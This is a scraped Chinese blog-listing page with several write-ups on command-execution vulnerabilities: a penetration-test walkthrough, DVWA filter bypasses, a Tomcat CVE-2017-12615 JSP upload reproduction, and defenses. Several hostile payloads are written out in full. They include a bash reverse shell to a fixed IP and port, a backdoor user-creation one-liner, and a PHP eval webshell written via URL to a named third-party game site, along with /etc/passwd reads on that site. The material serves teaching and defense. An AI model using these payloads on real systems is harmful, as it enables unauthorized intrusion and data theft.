精华内容
下载资源
问答
  • 命令执行漏洞

    2018-11-23 16:15:29
    命令执行漏洞的定义: 命令执行漏洞,就是指用户通过浏览器或其他辅助程序提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。  命令执行漏洞的原理: 命令执行漏洞...

    命令执行漏洞的定义:

    命令执行漏洞,就是指用户通过浏览器或其他辅助程序提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。  

    命令执行漏洞的原理:

    命令执行漏洞之所以会产生,原因就是由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意语句,并交由服务器端执行。

    命令注入攻击中web服务器没有过滤类似system(),eval().exec()等函数就是该漏洞攻击成功的最主要原因。

    命令执行漏洞的分类:

    代码层:一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过system函数来调用;

    系统层:(bash破壳漏洞)如果我们能够控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码;

    第三方组件层:很典型的就是wordpress中,可以选择使用imageMagick这个常用的图片处理组件,对用户上传的图片进行处理,造成命令执行,另外java中的命令执行漏洞(struts2/Elasticsearch等)

     

    命令执行漏洞的危害:

    任意执行系统命令,恶意木马被种植,挂马,钓鱼,敏感信息泄露.....

    展开全文
  • 命令执行漏洞挖掘实例

    千次阅读 2019-08-22 14:10:42
    这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下 一: 前期判断 看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看 输入127.0.0.1本地地址,发现能ping通 ...

    前言

    这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下

    一: 前期判断

    看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看
    在这里插入图片描述
    输入127.0.0.1本地地址,发现能ping通
    在这里插入图片描述
    发现如果命令不正确或者ip地址不存在,返回包为false。因此即使存在命令执行的漏洞也无法回显。那这里就考虑用延时判断是不是存在命令执行漏洞

    二:判断是否存在命令执行注入

    其实之前走了很多歪路,这里就不提了。ping命令有个参数,-c 表示icmp要发几个包。这里我们通过 修改-c 的数目,理论上-c的数值越大,那返回的时间越长
    这里遇到第一个问题
    在这里插入图片描述
    添加参数报错,这里空格处通过%20替代,因为http包有url转码,所以%20到服务器端会解析为空格,成功绕过
    -c 1 时,时间59毫秒
    在这里插入图片描述
    -c 2 ,时间为4086毫秒
    在这里插入图片描述
    从这里的话,就知道-c 这个参数已经带入成功,那在尝试拼接命令。拼接命令使用&&,&,|,||等,都试了,感觉不是很合适,因为前面命令一旦执行成功,页面上马上就回显回来,无法通过时间来判断。这里我使用分号;做拼接,分号后面都命令执行完之后,这个包才能判断true or false
    尝试127.0.0.1 -c 1;sleep 1
    这里 -c 参数不要太大,时间久了默认就false,sleep也不宜过大,只要能体现页面回显的时间变化就可以
    t = 4086
    在这里插入图片描述
    127.0.0.1 -c 1;sleep 2
    t = 8069
    在这里插入图片描述
    到这里就很明确,sleep命令已经执行成功,且存在命令执行注入漏洞

    三:通过命令执行注入获取服务器权限

    这里也卡了一段时间,最后解决就很快。想过2个方法获得服务器权限。
    一个的话通过一句话命令新增用户,到时候直接连服务器就可以。
    如新建test:123456用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` test
    另外一个就是反弹shell
    bash -i >& /dev/tcp/192.168.96.111/4444 0>&1
    但是呢,这两条命令都有特殊符号,特别像&,如果空格可以用%20绕过都话,其他字符在绕过上我还没啥思路,会报请求错误
    在这里插入图片描述
    到这里又卡了一下,难道命令注入找到了,却无法利用,这就有点尴尬了,后来忽然想起来,空格能通过url编码绕过,那整个请求参数值能做一遍url编码不是也可以嘛,试试看
    在这里插入图片描述
    开启监听
    在这里插入图片描述
    将编码后的参数替换,放包,虽然一直卡着,当监听的shell已经回来,成功拿到服务器权限
    在这里插入图片描述
    在这里插入图片描述

    到这里就结束了,关于那第三节,不知道有没有不通过编码的绕过方式,如果有,感谢指教~

    展开全文
  • 远程命令执行漏洞的原理 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端 没有针对执行函数做 过滤,导致在没有指定绝对路径的情况下就执行命令 复现示例 Tomcat任意文件上传漏洞CVE-2017-12615...

    远程命令执行漏洞的概念

    	远程命令执行漏洞,指用户通过浏览器提交执行操作命令,
    由于服务器端,没有针对执行函数做过滤,就执行了恶意命令
    

    远程代码执行漏洞概念

    	代码执行漏洞也叫代码注入漏洞,指用户通过浏览器
    提交执行恶意脚本代码,执行恶意构造的脚本代码
    

    两者区别

            命令执行: 一般指操作系统命令
         远程代码执行: 一般指的是脚本代码
    

    造成的原因

       造成的原因是Web服务器对用户输入命令安全检测不足,
    导致恶意(操作系统命令 或 脚本代码)被执行。
    

    命令执行漏洞

    命令执行漏洞的分类

    	代码层:一些商业应用需要执行命令,商业应用的一些核心代码可能封装在
    二进制文件中,在web应用中通过system函数来调用;
    
    	第三方组件层:很典型的就是wordpress中,可以选择使用imageMagick这个
    常用的图片处理组件,对用户上传的图片进行处理,造成命令执行,
    另外java中的命令执行漏洞(struts2/Elasticsearch等)
    

    命令执行漏洞的危害

    任意执行系统命令,恶意木马被种植,挂马,钓鱼,敏感信息泄露.....
    

    示例1

    在这里插入图片描述
    提交 http://localhost/cmd.php?ip=192.168.199.150|ipconfig

    提交以后 | 命令管道符会将 ping 192.168.199.150|ipconfig
    命令变成了 shell_exec('ping '.|ipconfig)
    在这里插入图片描述

    如何防止命令执行漏洞

    修复方法有很多方式,例如 1、过滤特殊字符或替换字符 2、严格验证输入的类型长度

    方案2 修复代码 :
    在这里插入图片描述
    执行效果
    在这里插入图片描述

    远程代码执行漏洞

    复现示例 Tomcat任意文件上传漏洞CVE-2017-12615

    介绍

    	ApacheTomcat服务组件中开启了http的Put方法所造成的攻击者可以利用该方法任意
    上传jsp木马所造成的远程代码执行漏洞。
    	知默认情况下是禁止http请求中的上传(PUT)和删除(DELETE)方法的。
    

    漏洞影响

    上传包含任意代码的文件,并被服务器执行。
    

    影响平台

    Windows/Linux
    

    漏洞影响版本

    Apache Tomcat <= 7.0.81 | Apache Tomcat <= 8.5.20 | Apache Tomcat <= 9.0.0.M26
    

    复现步骤一 准备环境

    准备环境:
    1、 java环境
    Java™ SE Runtime Environment (build 1.8.0_20-b26)

    2、apache-tomcat-7.0.70

    3、配置 环境变量 CATALINA_HOME

    4、修改tomcat 目录 conf/web.xml

    5、 开启HTTP PUT
    在这里插入图片描述

    复现步骤二 下载复现环境 (在文章最下面)

    复现步骤三 启动tomcat 服务

    在这里插入图片描述

    复现步骤四 利用PUT方法上传木马

    利用工具目录如下

    在这里插入图片描述

    cmd 进入利用脚本目录

    在这里插入图片描述

    上传可执行木马程序

    java -jar CVE-2017-12615-Exploit.jar
    http://127.0.0.1:8080 /shell.jsp D:\aqcode\code\CVE-2017-12615-master-利用脚本\cmd.jsp

    在这里插入图片描述
    Existence 代表上传成功

    工具源码分析

    在这里插入图片描述
    在这里插入图片描述
    代码标记1 :
    将 D:\aqcode\code\CVE-2017-12615-master-利用脚本\cmd.jsp 文件内容读取出来

    cmd.jsp 内容如下
    

    在这里插入图片描述

    代码标记2 :
    将内容写入到 http://127.0.0.1:8080/shell.jsp/ 文件当中

    代码标记3 :
    在这里插入图片描述
    当后缀名为 .jsp 和 .jspx 的时候,是通过JspServlet处理请求的:

    而其他的静态文件是通过org.apache.catalina.servlets.DefaultServletDefaultServlet处理的:
    在这里插入图片描述
    可以得知,“/shell.jsp/”(末尾有反斜杠)并不能匹配到 JspServlet,而是会交由DefaultServlet去处理。当处理 PUT 请求时:

    在这里插入图片描述
    在这里插入图片描述
    会调用resources.bind:

    在这里插入图片描述
    dirContext 为FileDirContext:
    在这里插入图片描述

    调用 rebind创建文件:

    在这里插入图片描述
    http://127.0.0.1:8080/shell.jsp/ ,多了一个反斜杠,
    这个关键,由于在org.apache.catalina.servlets.DefaultServlet 代 码会去掉最后的 / 的特性,故 put /shell.jsp/ 会创建成功
    (同时绕过 JspServlet 处理类)

    复现步骤五 执行木马程序

    http://127.0.0.1:8080/shell.jsp

    在这里插入图片描述

    修复方案

    1、配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat
    注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。

    2、根据官方补丁升级最新版本

    漏洞总结

    	该漏洞利用的前提条件需要手动开启readOnly功能,以支持上传操作,默认配置的情况
    下是无法成功利用漏洞,从实际测试来看,漏洞危害性并没有那么高。但是如果用户一旦,启用了readOnly功能,黑客可利用漏洞成功入侵。
    

    复现环境及代码

    tomcat7源码
    https://pan.baidu.com/s/1rcbxfRyRFujkmHJKCr9voQ

    利用工具
    https://pan.baidu.com/s/10RJCGHUaU_Ifh1p2XCUfTw

    展开全文
  • 命令执行漏洞及防御

    千次阅读 2018-10-22 20:20:35
    原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。 条件:用户能够控制函数输入,存在可以执行代码的危险函数。   命令执行漏洞产生原因: 开发人员没有对特殊函数入口做过滤,导致用户可以提交...

    命令执行:

    PHP:system、exec、shell_exec、passthru、popen、proc_popen等称为高危漏洞。

    原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。

    条件:用户能够控制函数输入,存在可以执行代码的危险函数。

     

    命令执行漏洞产生原因:

    开发人员没有对特殊函数入口做过滤,导致用户可以提交恶意代码并提交服务端执行。

    Web服务器没有过滤危险函数导致命令执行漏洞攻击成功。

     

    命令执行漏洞带来的危害

    1. 继承Web服务程序的权限去执行系统命令或读写文件。
    2. 反弹shell
    3. 控制整个网站甚至控制服务器。
    4. 进一步内网渗透

     

    PHP中的危险函数:

    1. system:成功则返回命令输出的最后一行,失败则返回FALSE。
    2. exec:命令执行结果的最后一行内容。
    3. shell_exec:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
    4. passthru:执行外部程序并且显示原始输出。
    5. eval:将输入的字符串参数当做PHP程序代码来执行。
    6. assert
    7. preg_replace
    8. call_user_func

     

    DVWA:Command Injection(命令行注入)

    命令连接符:

    在windows和linux都支持,如果程序没有进行过滤,那么我们可以通过连接符来执行多条命令。

    command1 && command2   先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
    command1 | command2     只执行command2
    command1 & command2   先执行Command 1,不管是否成功,都会执行Command 2

    低:

    源码:

    <?php 
     
    if( isset( $_POST[ 'Submit' ]  ) ) { 
        // Get input 
        $target = $_REQUEST[ 'ip' ]; 
     
        // Determine OS and execute the ping command. 
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
            // Windows 
            $cmd = shell_exec( 'ping  ' . $target ); 
        } 
        else { 
            // *nix 
            $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
        } 
     
        // Feedback for the end user 
        echo "<pre>{$cmd}</pre>"; 
    } 
     
    ?> 

    strustr:搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分。

    php_uname:返回运行PHP操作系统的相关描述。s:返回操作系统名称。n:返回主机名。r:返回版本名。

    服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

    由于windows和linux都可以用&&来执行多条命令,所以可以构造payload:127.0.0.1&&net user

     

    中:

    中等级使用的是str_replace吧‘&&’,‘;’替换为空字符串,所以可以构造payload:127.0.0.1 &;&whoami。

    高:

    <?php 
     
    if( isset( $_POST[ 'Submit' ]  ) ) { 
        // Get input 
        $target = trim($_REQUEST[ 'ip' ]); 
     
        // Set blacklist 
        $substitutions = array( 
            '&'  => '', 
            ';'  => '', 
            '| ' => '', 
            '-'  => '', 
            '$'  => '', 
            '('  => '', 
            ')'  => '', 
            '`'  => '', 
            '||' => '', 
        ); 
     
        // Remove any of the charactars in the array (blacklist). 
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
     
        // Determine OS and execute the ping command. 
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
            // Windows 
            $cmd = shell_exec( 'ping  ' . $target ); 
        } 
        else { 
            // *nix 
            $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
        } 
     
        // Feedback for the end user 
        echo "<pre>{$cmd}</pre>"; 
    } 
     
    ?> 

    相比于前面两个等级的,高等级完善了黑名单,但是由于黑名单的局限性,我们可以看出来他只是过滤掉了“| ”,如果|后不跟空格则可以绕过过滤。可以构造payload:127.0.0.1|dir

     

     

    命令执行漏洞实例:

    读取当前目录文件:

    http://ztsj.ztgame.com/stat.php?url=%27%26ls+%26%27

    查看etc目录:

    http://ztsj.ztgame.com/stat.php?url=%27%26ls+/etc+%26%27

    读取系统密码:

    http://ztsj.ztgame.com/stat.php?url=%27%26cat+/etc/passwd+%26%27

    写入一句话木马:

    http://ztsj.ztgame.com/stat.php?url=%27%26echo+"<?php @eval(\$_POST['value']);?>"+>>+php.php+%26%27

     

    命令执行的防御:

    1. 尽量不要执行外部命令。
    2. 使用自定义函数或者函数库来代替外部命令的功能。
    3. 使用escapeshe||arg函数来处理命令参数。
    4. 使用safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内。)

     

     

     

     

     

     

     

     

     

    展开全文
  • 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的...
  • 介绍命令执行漏洞 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的...
  • 命令执行漏洞各种绕过方式

    千次阅读 2020-07-10 13:38:59
    本文目录前言命令执行漏洞绕过方式管道符windows中常见管道符linux中常见管道符空格过滤黑名单绕过通配符绕过内敛执行绕过编码绕过绕过长度限制`>`和`>>`两个符号的使用命令换行最后参考文章 前言 刚做了...
  • 命令执行漏洞是指攻击者可以随意执行系统命令,在B/S架构和C/S架构都存在,是高危漏洞之一。 命令执行漏洞原理: 当应用需要调用一些外部程序去处理内容的情况下,就会用到需要执行系统命令的函数。如PHP中system、...
  • 命令执行漏洞学习总结

    千次阅读 2019-08-09 11:18:10
    1. 远程命令执行漏洞 1. 利用系统函数实现远程命令执行 在PHP下,允许命令执行的函数有: eval() assert() preg_replace() call_user_func() … 如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么...
  • SonicWall 远程命令执行漏洞

    千次阅读 2021-01-26 18:00:05
    SonicWall SSL-VPN 远程命令执行漏洞 漏洞描述 SonicWall SSL-VPN 远程命令执行在1月24日被公开 EXP,此设备存在远程命令执行漏洞 漏洞影响 SonicWall SSL-VPN FOFA app=“SONICWALL-SSL-VPN” 漏洞复现 出现...
  • ImageMagick 命令执行漏洞

    千次阅读 2017-12-20 16:09:12
    ImageMagick 命令执行漏洞
  • 漏洞复现篇——命令执行漏洞

    千次阅读 2020-02-27 21:36:17
    什么是命令执行漏洞? 日常的网络访问中,我们常常可以看到某些Web网站具有执行系统命令的功能,比如:有些网站提供ping功能,我们可以输入一个IP地址,它就会帮我们去尝试ping目标的IP地址,而我们则可以看到执行...
  • 检查项目 ... 存在任意命令执行漏洞 测试过程 测试过程: 探测到使用weblogic,使用weblogic已知漏洞进行攻击 远程命令执行成功,权限为desktop-6qk...
  • OS命令执行漏洞

    千次阅读 2017-08-16 21:29:34
    代码执行漏洞指的是可以执行PHP脚本代码,而命令执行漏洞指的是可以执行系统命令或应用指令(如cmd命令或bash命令)的漏洞 php命令执行漏洞主要是一些函数的参数过滤不严格所导致,可以执行OS命令的函数一共有7个:...
  • 这周来学习下命令执行漏洞命令执行漏洞是用户通过浏览器在远程服务器上执行任意系统命令,与代码执行漏洞没有太大的区别,不过我们在学习时还是要区分不同的概念。关于代码执行漏洞会在下篇博客中详述。 一、什么...
  • Web安全-命令执行漏洞

    千次阅读 2019-02-03 23:37:02
    命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常...
  • Web安全之命令执行漏洞

    千次阅读 2019-07-09 20:14:44
    命令执行漏洞的概述 命令执行漏洞的危害 命令执行漏洞的利用 命令执行漏洞的防御 背景介绍 程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢...
  • CTF-web命令执行漏洞

    2020-05-03 22:59:35
    文章目录命令执行漏洞 命令执行漏洞 命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的...
  • Apache Solr远程命令执行漏洞

    千次阅读 2019-11-02 15:57:18
    Apache Solr远程命令执行漏洞(Apache Solr Velocity模板注入RCE漏洞) 漏洞危害: 远程命令执行,容易被人getshell,使自己的服务器成为别人的肉鸡… 产生原因(攻击前提): 能够直接访问solr控制台,那么...
  • 命令执行漏洞介绍及利用

    千次阅读 2020-06-12 14:02:53
    命令执行漏洞原理 web应用程序接受用户输入,拼接到要执行的系统命令中执行 产生原理: 1.用户输入未过滤或净化 2.拼接到系统命令中执行
  • JD-FreeFuck 后台命令执行漏洞

    千次阅读 2021-04-15 06:13:44
    JD-FreeFuck 后台命令执行漏洞 漏洞说明 JD-FreeFuck 存在后台命令执行漏洞,由于传参执行命令时没有对内容过滤,导致可以执行任意命令,控制服务器 项目地址:https://github.com/meselson/JD-FreeFuck 环境搭建 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 90,108
精华内容 36,043
关键字:

命令执行漏洞